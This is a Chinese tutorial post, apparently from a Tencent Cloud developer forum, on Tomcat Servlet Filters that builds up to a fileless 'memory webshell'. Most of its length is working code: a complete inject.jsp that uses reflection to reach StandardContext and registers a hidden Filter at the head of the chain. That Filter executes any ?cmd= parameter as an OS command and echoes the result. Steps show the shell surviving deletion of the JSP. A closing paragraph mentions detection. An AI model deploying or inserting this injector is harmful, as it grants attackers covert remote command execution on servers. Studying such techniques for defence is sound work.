
先在 IDEA 里快速创建一个 Jakarta EE(原 Java EE)项目。

注意:Jakarta EE 高版本需要高版本的 JDK,这里换成低版本的 Java EE 8 就行。

导入 Tomcat 的本地依赖 lib/,把整个 lib 目录加进去(也可以用 Maven 重新下载)。

修改配置支持热加载(也可以在 xml 里配置)。

如果终端出现中文乱码,可以添加启动参数
-Dfile.encoding=UTF-8


没有报错,环境搭好了。
先写一个最简单的 Filter 例子,比如"记录每次请求的 IP"。
package org.example.filter;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/*")
public class LogFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) {
System.out.println("LogFilter 初始化");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
String ip = request.getRemoteAddr();
System.out.println("请求来自:" + ip);
// 放行,继续执行后续 Filter 或 Servlet
chain.doFilter(request, response);
}
@Override
public void destroy() {
System.out.println("LogFilter 销毁");
}
}启动 web 后随便访问一个网页 http://localhost:8080/,控制台输出了一次初始化,每次请求都会多一条记录。

点击红色方框停止服务。

显示 LogFilter 销毁。
@WebFilter("/*")
告诉 Servlet 容器(Tomcat)这是一个过滤器,并且拦截所有 URL 路径(/* 表示任意路径)。这样就不需要写 web.xml 配置了。
内存马关联:后面要做的就是不使用注解,也不写 web.xml,直接通过反射把恶意 Filter 塞进 Tomcat 内部的那个管理结构中。
@Override
告诉编译器下面的方法是重写接口,不是自己新建的。因为 Filter 接口里已经声明了 init、doFilter、destroy 三个方法(public class LogFilter implements Filter 里的 implements Filter 就是实现接口的意思)。
extends 和 implements 的区别:
继承(extends)用于类与类之间,子类继承父类的属性和方法;实现(implements)用于类与接口之间。
加了 @Override 的好处是:如果把 init 写成了 int,编译器会直接报错,因为 Filter 接口里没有这个方法。不写的话不会报错,照样跑,但可能出现隐蔽的 bug。
public void init(FilterConfig filterConfig)
Tomcat 启动、第一次加载这个 Filter 类并实例化后立即调用一次。FilterConfig 包含 Filter 的配置信息(例如 web.xml 中设置的初始化参数)。
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
每次有 HTTP 请求匹配到该 Filter 的拦截路径时,Tomcat 就会调用这个方法。三个参数完全由 javax.servlet.Filter 接口规定死了,不能随便改(注意是 javax.servlet 包下的)。
chain.doFilter(request, response)
Filter 的完整处理流程:
用户请求 → Filter1.doFilter → Filter2.doFilter → ... → Servlet/JSP → 响应chain 是一个"过滤器链"对象,管理着当前请求需要经过的所有 Filter 的顺序。
chain.doFilter(request, response) 的作用是:"当前 Filter 的事情做完了,请把请求和响应交给下一个环节继续处理。"
如果注释掉这一行,请求就会卡在当前 Filter 里,永远到不了后面的环节,浏览器会一直转圈等待或者直接返回空白页面。
public void destroy()
Tomcat 正常关闭或卸载该 Web 应用时,容器会调用 destroy 方法。
Filter 的生命周期:
init:Tomcat 启动、加载 Filter 时调用一次。doFilter:每次请求匹配时调用。destroy:Tomcat 正常关闭时调用一次。除了 @WebFilter("/*") 这种注解方式,还能通过改 web.xml 文件注册。
在项目的 src/main/webapp/WEB-INF/web.xml 的 <web-app> 里面添加:
<!-- 声明 Filter:给 Filter 起个内部名字,并指定它对应的 Java 类 -->
<filter>
<filter-name>logFilter</filter-name>
<filter-class>org.example.filter.LogFilter</filter-class>
</filter>
<!-- 映射 Filter:告诉 Tomcat 这个 Filter 要拦截哪些 URL -->
<filter-mapping>
<filter-name>logFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>效果:

<filter> 部分:
标签 | 含义 | 作用 |
|---|---|---|
<filter-name> | 给这个 Filter 起一个内部使用的名字 | 可以随便取,只要在这个 web.xml 里唯一即可,但通常用类名的小写形式 |
<filter-class> | 指定这个 Filter 对应的 Java 类的全限定名 | Tomcat 会根据这个字符串去 WEB-INF/classes 或 lib 目录下找对应的 .class 文件,然后通过反射 Class.forName() 加载并实例化它 |
<filter-mapping> 部分:
标签 | 含义 | 作用 |
|---|---|---|
<filter-name> | 关联上面声明的 Filter 名字 | 必须和 <filter> 里的 <filter-name> 完全一致,Tomcat 靠这个名字把定义和映射绑定在一起 |
<url-pattern> | 指定拦截的 URL 模式 | /* 表示拦截所有请求;/admin/* 表示只拦截 /admin/ 开头的请求;*.jsp 表示拦截所有 .jsp 结尾的请求 |
此时把代码注释后,仍然可以以相同的方式触发 Filter(因为 web.xml 里已经配好了)。

注册方式 | 写法 | 特点 |
|---|---|---|
注解式 | @WebFilter("/*") | 代码即配置,简单直观,Servlet 3.0 引入 |
web.xml 式 | 在 WEB-INF/web.xml 中用 XML 声明 | 配置集中,无需修改代码即可调整拦截规则 |
两种方式的效果完全一样,都是让 Tomcat 在启动时把 Filter 注册到 StandardContext 里。
不过以上都是静态注册,也就是在启动前就写死在代码里的。接下来才是重点——动态注入。
在讲动态注入之前,需要先搞清楚 StandardContext 内部的结构。
StandardContext 作为 Web 应用的容器总管,内部维护了三个直接决定 Filter 如何工作的关键成员变量:
private HashMap<String, FilterDef> filterDefs = new HashMap<>(); // 1. 定义集合
private FilterMap[] filterMaps = new FilterMap[0]; // 2. 路由数组
private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap<>(); // 3. 运行时配置集合HashMap<String, FilterDef>"logFilter")为键,以对应的 FilterDef 对象为值。FilterMap[]<filter-mapping> 或注解的 urlPatterns 属性时构建并加入数组。HashMap<String, ApplicationFilterConfig>正常 Filter 的 filterDefs 和 filterMaps 在启动时由容器自动填充,filterConfigs 则在首次请求时按需创建。
而内存马是在运行时动态注入的,此时启动阶段早已结束。如果只添加了 FilterDef 和 FilterMap,当请求匹配到恶意 Filter 时,Tomcat 会尝试懒加载创建 ApplicationFilterConfig,但由于运行时的一些状态检查(例如 context.getState().isAvailable() 等),动态创建可能会失败,最终导致 No filter configuration found 的警告,Filter 无法生效。
所以内存马必须手动强制把 ApplicationFilterConfig 塞进 filterConfigs,这就是第五步存在的原因。
目标是在运行时完成以下五步:
在 JSP 中我们只能拿到 ServletContext 接口,因为 Tomcat 把 StandardContext 锁住了,只留下了 ServletContext 接口。但是我们需要的三个方法是 StandardContext 里的,ServletContext 没有。
因此必须通过反射,向下挖两层,才能拿到 StandardContext 实例。
<% %>是 JSP 中的脚本段(Scriptlet),里面的内容会被当作 Java 代码执行。
<%
// 通过 request(内置对象)获取当前 Web 应用的 ServletContext
// 接口变量 servletContext 的实际类型是 org.apache.catalina.core.ApplicationContextFacade
ServletContext servletContext = request.getSession().getServletContext();
// 1. 反射获取 ApplicationContextFacade 中的 ApplicationContext
Field appContextField = servletContext.getClass().getDeclaredField("context");
// 突破限制,强行读取私有字段
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
// 2. 反射获取 ApplicationContext 中的 StandardContext
Field stdContextField = applicationContext.getClass().getDeclaredField("context");
stdContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdContextField.get(applicationContext);
%>层级关系如下:
JSP 能拿到的对象:ServletContext 接口
↓(实际类型是 ApplicationContextFacade)
↓(反射获取其私有字段 "context")
↓
第一层:ApplicationContext 对象
↓(反射获取其私有字段 "context")
↓
第二层:StandardContext 对象 ← 目标由于这些字段都是私有的,必须使用 setAccessible(true) 突破访问限制,必须两层反射。
直接在 JSP 中实现 javax.servlet.Filter 接口,创建一个内存中的恶意 Filter 实例。
写法 | 代码 | 使用场景 |
|---|---|---|
独立类 | public class LogFilter implements Filter { ... } | 正规开发,代码需编译成 .class 文件,部署在 WEB-INF/classes 中 |
匿名内部类 | Filter f = new Filter() { ... }; | 运行时动态生成,无需单独文件,直接在内存中创建实例 |
<%
// 匿名内部类
Filter maliciousFilter = new Filter() {
@Override
// 必须实现的方法,但内存马不需要初始化操作,所以留空
public void init(FilterConfig filterConfig) {}
@Override
// 这是 Filter 的核心拦截方法,每次请求匹配到该 Filter 时被 Tomcat 调用
// 参数 request、response、chain 由 Tomcat 传入,固定不变
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
// 获取 URL 中 ?cmd=xxx 的参数值,如果没有该参数,返回 null
String cmd = request.getParameter("cmd");
if (cmd != null) {
// 调用操作系统的命令行执行器,执行传入的 cmd 字符串
Process process = Runtime.getRuntime().exec(cmd);
// 读取命令执行结果的输出流(Java 8 写法)
// Java 9+ 写法:byte[] bytes = process.getInputStream().readAllBytes();
java.io.InputStream inputStream = process.getInputStream();
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len;
while ((len = inputStream.read(buffer)) != -1) {
baos.write(buffer, 0, len);
}
byte[] bytes = baos.toByteArray();
// 将结果写回浏览器
// Windows 下中文回显乱码问题通过 new String(bytes, "GBK") 解决
response.getWriter().write(new String(bytes, "GBK"));
// 执行完命令回显后,直接 return,没有调用 chain.doFilter
// 请求链在这里被截断,后续的任何 Filter 和目标 Servlet/JSP 都不会执行
return;
}
// 如果 cmd == null(没有后门参数),则执行这一行,保证正常业务不受影响
chain.doFilter(request, response);
}
@Override
// 必须实现的清理方法,内存马不需要释放资源,留空
public void destroy() {}
};
%>总结:
new String(bytes, "GBK") 解决。<%
// 创建一个对象用来放内存马 maliciousFilter 的信息
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("evil");
// 取名字,相当于 web.xml 中的 <filter-name>,后面 FilterMap 会用这个名字来关联
filterDef.setFilterClass(maliciousFilter.getClass().getName());
// 设置 Filter 的全限定类名,对应 web.xml 中的 <filter-class>,不过用的是反射的方法取得
filterDef.setFilter(maliciousFilter);
// 设置我们写的这个内存马对象
standardContext.addFilterDef(filterDef);
// 调用 StandardContext 自带的方法,addFilterDef 把这份信息放入 filterDefs 这个 Map 中
%>对应关系(这一步等价于 web.xml 中的 <filter> 声明):
正常注册(web.xml) | 内存马动态注册 |
|---|---|
<filter-name>evil</filter-name> | filterDef.setFilterName("evil") |
<filter-class>com.example.EvilFilter</filter-class> | filterDef.setFilterClass(...) |
Tomcat 根据类名反射创建实例 | filterDef.setFilter(maliciousFilter) 直接塞入已有实例 |
Tomcat 自动调用 addFilterDef | 我们手动调用 standardContext.addFilterDef(filterDef) |
至此,恶意 Filter 的定义已经进入了 StandardContext 的 filterDefs 集合中,但 Tomcat 还不知道这个 Filter 要拦截哪些 URL,也没有准备好运行时配置。接下来的两步会补齐这两个缺口。
<%
// FilterDef、FilterMap 这些都是普通的类,可以正常地直接创建
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("evil");
// 名字需要和前面的身份信息一致才能匹配
filterMap.addURLPattern("/*");
// 设置拦截规则:拦截所有 URL 路径,相当于 web.xml 中的 <url-pattern>/*</url-pattern>
standardContext.addFilterMapBefore(filterMap);
// 把这个规则添加到 standardContext 里的最前面
%>对应 web.xml:
web.xml 配置 | 内存马代码 |
|---|---|
<filter-mapping> | FilterMap filterMap = new FilterMap(); |
<filter-name>evil</filter-name> | filterMap.setFilterName("evil"); |
<url-pattern>/*</url-pattern> | filterMap.addURLPattern("/*"); |
(自动按顺序加入) | standardContext.addFilterMapBefore(filterMap); |
为什么用 addFilterMapBefore 而不是 addFilterMap?
addFilterMapBefore 会将映射添加到数组最前面,确保恶意 Filter 优先执行。内存马选择插在开头是为了优先拦截请求,确保无论后面还有哪些合法 Filter,恶意 Filter 都会第一个执行,从而保证 ?cmd 参数能被率先捕获。
由于我们错过了 Tomcat 的启动阶段,必须手动将 ApplicationFilterConfig 塞入 filterConfigs,否则请求到来时会因找不到配置而失效。
<%
// 反射获取 filterConfigs 字段
// filterConfigs 是 StandardContext 内部的一个 private 字段,没有提供公开的 getter 方法
// 正常情况下,外部代码根本无法访问它,所以必须用反射
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
// 允许操作私有字段
filterConfigsField.setAccessible(true);
Map<String, ApplicationFilterConfig> filterConfigs =
(Map<String, ApplicationFilterConfig>) filterConfigsField.get(standardContext);
// filterConfigsField 代表 StandardContext 类中的 filterConfigs 字段
// get(standardContext) 是从 standardContext 这个具体对象里取出它内部的 filterConfigs 这个 Map
// 反射获取 ApplicationFilterConfig 的私有构造器
// filterConfigs 需要的参数对象是 ApplicationFilterConfig,但构造方法是私有的,需要反射获取
Constructor<ApplicationFilterConfig> constructor =
ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
// 创建新对象,传入 standardContext 和之前创建的 filterDef
ApplicationFilterConfig filterConfig = constructor.newInstance(standardContext, filterDef);
// 塞入 filterConfigs,前面已经通过反射获取了这个对象,所以可以直接使用
filterConfigs.put("evil", filterConfig);
%>三个集合的访问方式对比:
集合 | 字段可见性 | 是否有公开方法 | 内存马操作方式 |
|---|---|---|---|
filterDefs | private | ✅ 有 addFilterDef() 公开方法 | 直接调用 standardContext.addFilterDef(),无需反射 |
filterMaps | private | ✅ 有 addFilterMapBefore() 公开方法 | 直接调用 standardContext.addFilterMapBefore(),无需反射 |
filterConfigs | private | ❌ 没有任何公开方法 | 必须反射获取字段本身,再手动 put |
put是 filterConfigs 继承了 Map 接口的方法。
Field 和 Constructor 的区别:
对比项 | Field | Constructor |
|---|---|---|
代表什么 | 类的成员变量(字段) | 类的构造方法 |
操作对象 | 一个已存在的对象实例 | 需要创建新的对象实例 |
核心方法 | get(对象实例) → 取出该实例中此字段的值 | newInstance(参数...) → 创建并返回一个新对象 |
是否需要已有实例 | 是 | 否 |
// Field 操作(从已有对象取字段值)
Field field = clazz.getDeclaredField("filterConfigs");
Map map = (Map) field.get(standardContext); // 从 standardContext 这个已有对象中取
// Constructor 操作(新建对象)
Constructor<ApplicationFilterConfig> cons =
ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
ApplicationFilterConfig config = cons.newInstance(standardContext, filterDef);这一步完成后,Tomcat 在过滤链中就能正确找到恶意 Filter 的运行时配置。
将上述所有代码放入一个 JSP 文件(inject.jsp),访问一次即完成注入。之后可以删除 inject.jsp,然后访问 http://localhost:8080/?cmd=whoami,若看到命令回显则说明内存马注入成功。
创建 webapp\inject.jsp:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%
// 1. 获取 StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 2. 定义恶意 Filter
Filter maliciousFilter = new Filter() {
@Override
public void init(FilterConfig filterConfig) {}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(cmd);
java.io.InputStream inputStream = process.getInputStream();
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len;
while ((len = inputStream.read(buffer)) != -1) {
baos.write(buffer, 0, len);
}
byte[] bytes = baos.toByteArray();
response.getWriter().write(new String(bytes));
return;
}
chain.doFilter(request, response);
}
@Override
public void destroy() {}
};
// 3. 注册 FilterDef
org.apache.tomcat.util.descriptor.web.FilterDef filterDef =
new org.apache.tomcat.util.descriptor.web.FilterDef();
filterDef.setFilterName("evil");
filterDef.setFilterClass(maliciousFilter.getClass().getName());
filterDef.setFilter(maliciousFilter);
standardContext.addFilterDef(filterDef);
// 4. 注册 FilterMap(拦截所有请求)
org.apache.tomcat.util.descriptor.web.FilterMap filterMap =
new org.apache.tomcat.util.descriptor.web.FilterMap();
filterMap.setFilterName("evil");
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap);
out.println("注入成功");
// 5. 强制写入 filterConfigs
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
java.util.Map filterConfigs = (java.util.Map) filterConfigsField.get(standardContext);
org.apache.catalina.core.ApplicationFilterConfig filterConfig = null;
java.lang.reflect.Constructor constructor =
org.apache.catalina.core.ApplicationFilterConfig.class
.getDeclaredConstructor(org.apache.catalina.Context.class,
org.apache.tomcat.util.descriptor.web.FilterDef.class);
constructor.setAccessible(true);
filterConfig = (org.apache.catalina.core.ApplicationFilterConfig)
constructor.newInstance(standardContext, filterDef);
filterConfigs.put("evil", filterConfig);
%>验证步骤:
启动 Tomcat,先访问 http://localhost:8080/inject.jsp,显示注入成功。

再访问 http://localhost:8080/?cmd=whoami,正常显示出了名称。

此时删掉 inject.jsp。

再次访问 inject.jsp 显示 404(如果不开启热加载体现不出来,即使删除了文件但没有更新资源,文件仍然存在)。

但访问 http://localhost:8080/?cmd=ipconfig → 还能执行!

重启一下 Tomcat 服务。重启 Tomcat → 再访问,内存马消失,命令失效,显示首页面。

这就是内存马最大的特点:无文件落地,但重启即失效。
操作 | 静态注册 | 动态注入(内存马) |
|---|---|---|
获取 StandardContext | 不需要 | 反射获取 |
填充 filterDefs | 解析 web.xml / 注解 | 手动 new FilterDef 并 add |
填充 filterMaps | 解析 web.xml / 注解 | 手动 new FilterMap 并 add |
填充 filterConfigs | 首次请求自动创建 | 反射构造并强制 put |
内存马的核心在于绕过了静态声明,在运行时直接操作 Tomcat 内部数据结构,使恶意代码完全运行于内存之中,无文件落地,隐蔽性强,但重启 web 服务即失效。
从防御视角来看,检测内存马通常需要扫描 JVM 内存中的 Filter 列表,对比是否存在未在 web.xml 或注解中声明的 Filter,或者利用 Java Agent 在运行时对 Tomcat 内部数据结构的修改进行监控。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。